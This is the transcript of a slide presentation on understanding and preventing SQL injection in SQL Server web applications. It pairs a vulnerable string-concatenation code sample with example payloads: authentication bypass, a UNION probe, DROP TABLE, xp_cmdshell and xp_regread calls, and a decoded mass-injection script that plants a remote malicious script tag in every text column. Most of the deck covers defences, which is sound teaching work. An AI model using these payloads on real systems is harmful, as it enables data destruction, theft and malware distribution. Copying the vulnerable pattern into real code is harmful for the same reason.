Understanding and preventing sql injection attacks
This presentation is the property of its rightful owner.
Sponsored Links
1 / 32

Understanding and Preventing SQL Injection Attacks PowerPoint PPT Presentation


  • 95 Views
  • Uploaded on
  • Presentation posted in: General

Understanding and Preventing SQL Injection Attacks. Kevin Kline, Technical Strategy Manager Twitter @ kekline Blog at http://KevinEKline.com. Your Speaker: Kevin Kline. Agenda. What is SQL Injection? An Attacker’s Approach SQL Injection Techniques Preventing SQL Injection

Download Presentation

Understanding and Preventing SQL Injection Attacks

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


Understanding and preventing sql injection attacks

Understanding and Preventing SQL Injection Attacks

Kevin Kline, Technical Strategy Manager

Twitter @kekline

Blog at http://KevinEKline.com


Your speaker kevin kline

Your Speaker: Kevin Kline


Agenda

Agenda

  • What is SQL Injection?

  • An Attacker’s Approach

  • SQL Injection Techniques

  • Preventing SQL Injection

  • Security Best Practices & Tips

  • Useful Links and Resources


Context and background

Context and Background


What is sql injection

What is SQL Injection?

  • SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement


Who is vulnerable

Who is Vulnerable?

  • All SQL database platforms are susceptible

  • Bypasses firewall protections

  • Applications that build and send SQL strings are vulnerable

    • Coding techniques can be exploited

    • SQL statement itself is hacked

    • Formatting vulnerabilities


Like this

Like This…

Courtesy of http://xkcd.com/327/


Or this webcode

  • string cmdStr = @"SELECT order_id, order_date, qty

  • FROM Production.Orders

  • WHERE customer_name LIKE '%" + SearchText.Text

  • + "%'";

    using (SqlConnectionconn = new SqlConnection(connStr))

    using (SqlDataAdaptersda = new SqlDataAdapter(cmdStr, conn))

    {

    DataTabledtOrders = new DataTable();

    sda.Fill(dtOrders);

    return dtOrders.DefaultView;

    }

Or This Webcode…


Injected values can range from bad

Injected Values Can Range from Bad…

The “Good” search text:

'Hanso Foundation'

The “Curious” search text:

'Widmore Industries' or 1=1 -- ‘

The “Exploratory” search text:

…ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA

FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME = 'Address' --


To worse

…To Worse

The Ugly search text:

…ZZZ'; DROP TABLE customer_credit_card --

The REALLY UGLY search text:

…ZZZ'; xp_cmdshell(‘FTP …’)


Attack methodology

Attack Methodology


Attackers

Attackers…

  • …understand the concept of ‘surface area’

  • …use error messages to learn about the structure of the underlying SQL statements and database

  • …exploit SQL formatting characters (single quotes, comment notation (--), semi-colons, etc)


Then attackers

Then Attackers…

  • …manipulate the SQL statements to learn about the structure of the database and data

  • …execute SQL statements at will

  • …use built-in trap doors inside of the DBMS to go to the next level

    • Upload their own files, even replacing your own

    • Examine the rest of your infrastructure

    • Download data

    • Launch malware and bots


Sql injection techniques

SQL Injection Techniques

  • Probing databases

  • Bypassing authorization

  • Executing multiple SQL statements

  • Calling built-in stored procedures

  • Exiting to the OS for command-line access

  • Inserting code to be used by the web app


Probing databases

Probing Databases

  • Web apps usually return connectivity error information – unless you trap the errors!

  • Hackers can use this information and continually modify parameters to discover:

    • Table names, column names, data types, row values

Error Type:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Unclosed quotation mark before the character string ′

having 1 = 1--′.

/Project1/Demo.asp, line 14


Bypassing authorization

Bypassing Authorization

Good Guy, passes these values - UserID: administrator Password: GoodOne

SELECT * FROM usersWHERE username = ‘administrator’

AND password = ‘GoodOne’;

Bad Guy, passes this value - UserID: ‘ OR 1=1 Password --

SELECT *FROM users

WHERE username = ‘’ OR 1=1 – and password =


Insert statement injections

INSERT Statement Injections

Good Guy

INSERT INTO Authors (auName, EmailAddress)

VALUES (‘Julian Isla’, [email protected])

Bad Guy

INSER INTO Authors (auName, EmailAddress)

VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’, [email protected]);

EXEC xp_regread HKEY… ;

Very Bad Guy, uses scripting and text/xml fields


Blind sql injection

Blind SQL Injection

  • Good apps trap default errors and show their own. Hackers flank this with:

    • Normal Blind: Get response data from error codes, severity levels, and HTTP status codes

    • Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions.


Blind example

Blind Example

URL query string:

[email protected]%20NVARCHAR(4000);[email protected]=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--

Decoded:

DECLARE @S NVARCHAR(4000);

SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));

EXEC(@S);--

SELECT CAST('this could be some bad code' as varbinary(256))

SELECT CAST (0x7468697320636F756C6420626520736F6D652062616420636F6465 as varchar(256))


Blind example1

Blind Example

Final SQL code being executed (hex value decoded):

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjectsa,syscolumns b

where a.id=b.id and a.xtype='u' and

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN

exec('update [[email protected]+'] set [[email protected]+']=rtrim(convert(varchar,[[email protected]+

']))+''<script src=http://www.211796*.net/f****p.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor


Sql injection as an attack vector

SQL Injection as an Attack Vector

  • Attackers have chosen not to go after data

  • Targets have been legitimate web sites

  • Plant links and redirects to malware sites

  • Use of a blended attack (browser vulnerability) to infect the client computer

  • Take control of client computers


Preventing sql injection

Preventing SQL Injection

  • Never let an app connect as sysadmin

    • Least privilege principle

  • Building secure SQL statements and apps:

    • Input validation: check for valid input

      • Don’t check for bad input, you will always miss a case

    • Use stored procedure to hide application logic – no default error messages; no direct access to tables

    • Use parameterized input, not string concatenation

    • Multi layered input checking: application, stored procedure, database schema

  • Apply the latest security patches!


Best practices service accounts

Best Practices, Service Accounts

  • SQL Server may use the local system account.

  • Set up a specific Windows login (not Admin!) with appropriate privileges for use by the MSSQLServer system service.

  • Add a separate Windows login (not Admin!) for SQLServerAgent system service.


Best practices security settings

Best Practices, Security Settings

  • Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent.

  • Set security Audit Level at least to ‘Failure’. Monitor it!

  • Make sure data and log files are on NTFS with proper ACLs applied.

  • Restrict system stored proc’s and XP’s to sysadmins-only

  • Remove guest from all but master and tempdb

  • Disable anything unneeded and unused! (e.g. SQL Browser service, unneeded network protocols)

  • Use Windows Authentication where feasible..


Best practices security checks

Best Practices, Security Checks

  • Check for null and bad passwords frequently

  • Check for non-SA permissions on all system SPs and XPs

  • Monitor failed login attempts

  • Three free scanner utils (HP Scrawlr, URLScan, and Microsoft Source Code Analyzer for SQL Injection (http://www.sqlmag.com/Articles/ArticleID/100720/100720.html?Ad=1)

  • Microsoft Assessment and Planning (MAP) is a great tool as well, available at http://technet.microsoft.com/en-us/library/bb977556.aspx

    Tip: Get Quest Discovery Wizard for free!


Best practices security practices

Best Practices, Security Practices

  • Strong SA password

    • at least 6 digits long with at least 2 numbers

    • Add mixed case and symbols for more strength

  • Use roles for provisioning, not users

    • More work, user must be assigned to a login and role

    • Easy to forget when user leaves

  • Never hardcode passwords

  • Never write apps for use by the SA account

  • Change passwords frequently


Best practices security for developers

Best Practices, Security for Developers

  • Do Not Trust User Input

    Data Validation

    • Black list vs White list

  • Run With Least Privilege

  • Defense in Depth

  • Fail Intelligently

  • Test Security

  • Remove unused stored procedures, views, and UDFs


Best practices security for developers cont d

Best Practices, Security for Developers (cont’d)

  • Use Parameterized Queries or Stored Procedures

    • Do not use string concatenations to build SQL queries

  • Use Views and Stored Procedures

  • Demand security savvy third-party applications!


Resources

Resources

  • http://www.sqlsecurity.com – my favorite for broad security and tools on SQL Server

  • Microsoft SQL Injection white paper at http://msdn.microsoft.com/en-us/library/ms161953.aspx

  • How-to: Prevent SQL Injection on ASP.Nethttp://msdn.microsoft.com/en-us/library/ms998271.aspx

  • SQL Injection via CAST: http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html

  • SQL Injection Cheat Sheet: http://ferruh.mavituna.com


Understanding and preventing sql injection attacks

Quest Software Swag for SQL Server

Free posters, guides, and other goodies. HTTP://www.quest.com/backstage/promotion.aspx

March 2010

July 2010

Free DVD Training: HTTP://db-management.com/live


Understanding and preventing sql injection attacks

Quest Software Resources for SQL Server

SQLServerPedia – SQL Server knowledge base, straight from the experts.

HTTP://www.SQLServerPedia.com

SQL Server Community – Online discussion forums, customization library, and beta programs.

HTTP://SQLServer.quest.com

SQL Server Backstage – All things SQL Server at Quest including our Pain of the Week Webcasts.

HTTP://www.quest.com/BackStage


Questions

Questions ?

Send questions to me at: [email protected]

Twitter @kekline

Blogs at SQLServerPedia.com, SQLblog.com, SQLMag.com, etc.

Rate Me – http://SpeakerRate.com/kekline/

Content at http://KevinEKline.com/Slides/


  • Login